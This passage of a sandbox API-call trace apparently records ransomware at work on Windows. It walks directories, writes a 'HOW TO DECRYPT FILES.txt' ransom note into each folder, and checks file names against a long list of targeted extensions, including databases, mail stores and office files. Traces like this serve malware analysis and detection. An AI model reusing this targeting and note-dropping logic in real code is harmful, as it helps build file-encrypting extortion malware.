(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.lgb") returned 0 [0109.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mov") returned 0 [0109.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.xdw") returned 0 [0109.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.ods") returned 0 [0109.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.wav") returned 0 [0109.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mp3") returned 0 [0109.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.aiff") returned 0 [0109.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.flac") returned 0 [0109.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.m4a") returned 0 [0109.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.csv") returned 0 [0109.308] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310bcb59, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310bcb59, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3b84870, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.308] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.308] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65979d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65979d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65979d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="84ebf4aede3a599b943b3320ca704911", cAlternateFileName="84EBF4~1")) returned 1 [0109.308] lstrcmpA (lpString1=".", lpString2="84ebf4aede3a599b943b3320ca704911") returned -1 [0109.308] lstrcmpA (lpString1="..", lpString2="84ebf4aede3a599b943b3320ca704911") returned -1 [0109.308] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.309] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="84ebf4aede3a599b943b3320ca704911" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911" [0109.309] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65979d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65979d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65979d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.309] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65979d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65979d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65979d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.309] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.309] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310969fe, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310969fe, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe9687033, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xe4e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.309] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.309] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll") returned -1 [0109.310] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll") returned -1 [0109.310] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll") returned -1 [0109.310] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\*.*") returned="*.*" [0109.310] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\" [0109.310] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\") returned="" [0109.310] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\HOW TO DECRYPT FILES.txt" [0109.310] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\84ebf4aede3a599b943b3320ca704911\\how to decrypt files.txt")) returned 0xffffffff [0109.310] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\84ebf4aede3a599b943b3320ca704911\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.401] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.403] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.404] CloseHandle (hObject=0x90) returned 1 [0109.404] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\", lpString2="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll" [0109.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.ems") returned 0 [0109.404] lstrlenA (lpString="*.ems") returned 5 [0109.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.db") returned 0 [0109.404] lstrlenA (lpString="*.db") returned 4 [0109.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.dbf") returned 0 [0109.404] lstrlenA (lpString="*.dbf") returned 5 [0109.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.myox") returned 0 [0109.404] lstrlenA (lpString="*.myox") returned 6 [0109.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.myo") returned 0 [0109.404] lstrlenA (lpString="*.myo") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbw") returned 0 [0109.405] lstrlenA (lpString="*.qbw") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbb") returned 0 [0109.405] lstrlenA (lpString="*.qbb") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbm") returned 0 [0109.405] lstrlenA (lpString="*.qbm") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbo") returned 0 [0109.405] lstrlenA (lpString="*.qbo") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbx") returned 0 [0109.405] lstrlenA (lpString="*.qbx") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qba") returned 0 [0109.405] lstrlenA (lpString="*.qba") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qby") returned 0 [0109.405] lstrlenA (lpString="*.qby") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qbj") returned 0 [0109.405] lstrlenA (lpString="*.qbj") returned 5 [0109.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.ofx") returned 0 [0109.406] lstrlenA (lpString="*.ofx") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.qif") returned 0 [0109.406] lstrlenA (lpString="*.qif") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mye") returned 0 [0109.406] lstrlenA (lpString="*.mye") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mbox") returned 0 [0109.406] lstrlenA (lpString="*.mbox") returned 6 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.eml") returned 0 [0109.406] lstrlenA (lpString="*.eml") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.pst") returned 0 [0109.406] lstrlenA (lpString="*.pst") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.ost") returned 0 [0109.406] lstrlenA (lpString="*.ost") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.idx") returned 0 [0109.406] lstrlenA (lpString="*.idx") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.dbx") returned 0 [0109.406] lstrlenA (lpString="*.dbx") returned 5 [0109.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.sql") returned 0 [0109.407] lstrlenA (lpString="*.sql") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mdb") returned 0 [0109.407] lstrlenA (lpString="*.mdb") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.fdb") returned 0 [0109.407] lstrlenA (lpString="*.fdb") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.wab") returned 0 [0109.407] lstrlenA (lpString="*.wab") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.dat") returned 0 [0109.407] lstrlenA (lpString="*.dat") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.txt") returned 0 [0109.407] lstrlenA (lpString="*.txt") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.jpeg") returned 0 [0109.407] lstrlenA (lpString="*.jpeg") returned 6 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.jpg") returned 0 [0109.407] lstrlenA (lpString="*.jpg") returned 5 [0109.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.png") returned 0 [0109.407] lstrlenA (lpString="*.png") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.php") returned 0 [0109.408] lstrlenA (lpString="*.php") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.cs") returned 0 [0109.408] lstrlenA (lpString="*.cs") returned 4 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.cpp") returned 0 [0109.408] lstrlenA (lpString="*.cpp") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.rar") returned 0 [0109.408] lstrlenA (lpString="*.rar") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.zip") returned 0 [0109.408] lstrlenA (lpString="*.zip") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.html") returned 0 [0109.408] lstrlenA (lpString="*.html") returned 6 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.htm") returned 0 [0109.408] lstrlenA (lpString="*.htm") returned 5 [0109.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.xlsx") returned 0 [0109.408] lstrlenA (lpString="*.xlsx") returned 6 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.xls") returned 0 [0109.409] lstrlenA (lpString="*.xls") returned 5 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mp4") returned 0 [0109.409] lstrlenA (lpString="*.mp4") returned 5 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.ppt") returned 0 [0109.409] lstrlenA (lpString="*.ppt") returned 5 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.pptx") returned 0 [0109.409] lstrlenA (lpString="*.pptx") returned 6 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.doc") returned 0 [0109.409] lstrlenA (lpString="*.doc") returned 5 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.dot") returned 0 [0109.409] lstrlenA (lpString="*.dot") returned 5 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.docx") returned 0 [0109.409] lstrlenA (lpString="*.docx") returned 6 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.7z") returned 0 [0109.409] lstrlenA (lpString="*.7z") returned 4 [0109.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.tar") returned 0 [0109.410] lstrlenA (lpString="*.tar") returned 5 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.bz2") returned 0 [0109.410] lstrlenA (lpString="*.bz2") returned 5 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.gz") returned 0 [0109.410] lstrlenA (lpString="*.gz") returned 4 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mkv") returned 0 [0109.410] lstrlenA (lpString="*.mkv") returned 5 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.eml") returned 0 [0109.410] lstrlenA (lpString="*.eml") returned 5 [0109.410] PathMatchSpecA 